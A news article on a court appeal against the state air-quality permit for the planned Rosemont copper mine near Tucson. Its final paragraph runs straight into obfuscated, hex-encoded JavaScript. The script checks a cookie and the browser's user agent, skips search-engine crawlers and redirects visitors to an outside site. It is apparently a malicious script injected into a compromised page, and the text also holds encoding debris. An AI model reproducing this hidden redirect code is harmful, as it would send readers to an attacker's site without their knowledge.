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Arizona judge hears challenge to mine’s environmental permit

chopped pieces of copper isolated on white backgroundTUCSON ai??i?? A judge is considering an appeal aimed at overturning state regulators’ decision to grant an air-quality permit for a planned copper mine in southeastern Arizona.

Opponents of the Rosemont Mine are appealing an administrative law judge’s ruling that upheld the Department of Environmental Quality’s 2013 decision to issue the permit.

A Maricopa County Superior Court judge considering the appeal took the case under advisement after hearing arguments in Phoenix Monday.

The case centers on whether the state can deny the mine a permit if it’s shown to have the potential to violate clean-air standards, the Arizona Daily Star reported.

The mine would be located in the Santa Rita Mountains about 30 miles southeast of Tucson. The group challenging the permit is called Save the Scenic Santa Ritas, and includes environmentalists, area residents and businesses.

During Monday’s hearing, lawyers for the opponents, the mine and the regulators argued over whether the mining company properly used computer modeling to show the mine would meet the standards.

The sides agree that state rules don’t permit the department to require Rosemont Copper to submit computer modeling data predicting the mine’s future emissions, but the mining company submitted data anyway.

They disagree on whether the computer actually shows the mine would be in compliance with all federal standards.

At Monday’s hearing, a lawyer for Save the Scenic Santa Ritas attorney challenged the position of the department and Rosemont that the department can’t deny the permit if modeling provides evidence that the mine would violate federal air-quality standards.

G. Van Velsor Wolf Jr., an attorney for the Santa Ritas group, cited a state law that says a permit shall be denied if an applicant can’t show it is designed in such a way that it “may be expected to operate” without emitting pollutants in violation of state laws and rules.

The mining company and ADEQ, however, contend the state law only directs permit applicants to another law that doesn’t contain requirements that specific.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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